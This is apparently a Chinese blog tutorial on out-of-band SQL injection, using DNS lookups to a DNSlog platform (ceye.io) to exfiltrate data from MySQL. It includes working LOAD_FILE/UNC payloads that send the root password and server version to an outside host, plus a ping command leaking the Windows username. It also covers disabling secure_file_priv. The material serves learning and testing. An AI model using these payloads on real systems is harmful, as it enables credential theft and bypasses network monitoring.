OOB之DNS隧道利用

SQL注入 专栏收录该内容
2 篇文章 0 订阅

相关背景

1. 什么是OOB

OOB即,带外通道技术。
在对于注入中,存在无回显的情况,这时候通常使用Blind SQL进行猜解,利用这种方式获取信息,比较麻烦,并且容易因为频繁的数据请求导致ip被BAN。
OOB通过另一种方式来确认和利用盲注漏洞带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。一次OOB攻击能够成功逃避监控,绕过防火墙且能更好的隐藏自己。
常见的方式是HTTP、ICMP、DNS,ICMP隧道一般会进行防御,TCP在甲方中会有严格的防火墙控制端口,HTTP在甲方中一般也会有严格且完整的监控和阻断机制,DNS隧道在当前环境下,由于需要解析,不会对其进行拦截。利用访问域名,携带信息。
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

2. DNSLOG

Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.com、t00ls.com.等的访问信息。
DNS查询原理图

PS:好久以前的笔记了,这张图片忘了出处了,如有冒犯,侵删,抱歉。

如在访问www.scholar.com时
流程如下:

  1. 客户端向一个域名发起请求,首先查询本地DNS;
  2. 本地查询无果,向根域发起查询请求;
  3. 根域查询返回.com服务器地址,继续请求.com DNS服务器;
  4. .com服务器查询返回.scholar.com地址,继续请求.scholar.com DNS服务器;
  5. 最后查询www服务器,返回IP。

可以发现其中scholar 域名服务器是可控的,我们只需要搭建一个scholar DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。

2.1 DNSlog工具

如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:

https://github.com/BugScanTeam/DNSLog。

另外可以使用在线平台:

  • http://admin.dnslog.link。
  • http://ceye.io

测试实验

进行dns隧道的利用之前,得先拥有一个自己的域名(xxx.com),即可控服务器,搭建好VPS环境;
这里采用免费平台ceye,对于每个用户,有六个随机字符的唯一标识符代码和唯一子域值,注册完成后会提供唯一的一个二级域名。
绑定自己的ip作为NameServer,这样就可以作为DNS服务器,获取Dnslog。通过解析日志获得payload的回显。
这里获得子域名是******.ceye.io,对于所有的DNS quries和HTTP请求******.ceye.io和*.*******.ceye.io将被记录。所有记录都可以从服务器导出,通过处理这些访问日志,可以获取携带信息。

profile

1.1 命令测试

根据ceye的payload介绍进行命令测试。
在Windows下,利用username构建一个三级域名

ping %USERNAME%.******.ceye.io
ping

可以看见,在dnslog中,出现了携带用户名的dns解析记录。

DNS Query

2.2 SQL注入

了解了上述内容,终于可以进入正题,SQL注入。

环境:Mysql
测试用例:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.******.ceye.io\\abc'));

2.2.1 load_file

load_file()在mysql注入中是经常被使用的一个函数,常用来读取各种配置文件。
同时load_file也能都网络资源发起访问。

LOAD_FILE(file_name)
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

2.2.2 secure_file_priv

Mysql中,对于文件读写操作,涉及到secure_file_priv这一特性。

在Mysql中,出于安全控制,利用secure-file-priv参数用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

  • ure_file_priv的值为null ,表示限制mysqld 不允许导入导出;
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入导出做限制

首先进入mysql中,查看该参数

Linux环境下Mysql
发现文件读写操作限制在了指定目录/var/lib/mysql-files/下,这与要进行的操作不符合,需要取消读写限制。

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

然后重启mysql服务即可生效。
再次查看secure_file_priv,

Windows
Tip:出于一些原因,改换成对windows下的mysql注入测试
发现,secure_file_priv值已经为空了,即读写限制被取消了。
构造sql语句:

select load_file(concat('\\\\',(@@version),'.******.ceye.io\\abc'));

payload
查看dnslog
Dnslog
成功查询到DNS请求记录,并且mysql的版本信息在解析DNS过程中被携带了出来。

相关补充

UNC路径

UNC通用命名规则,也称通用命名规范、通用命名约定。
UNC路径就是类似\softer这样的形式的网络路径。
payload中用concat函数拼接了’\\’这一字符串,是因为在该函数中’\’会被当做转义符号,’\‘表示是对’‘的转义,所以’\\’,即表示’\’。而双斜杠表示网络资源路径,即UNC路径,于是发起了dns请求。
Linux环境下部署的mysql,无法利用load_file进行网络资源的访问。尚未找到考据。

More,
Loading…

  • 0
    点赞
  • 0
    评论
  • 1
    收藏
  • 打赏
    打赏
  • 扫一扫,分享海报

©️2022 CSDN 皮肤主题:大白 设计师:CSDN官方博客 返回首页

打赏作者

Lkiopy

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值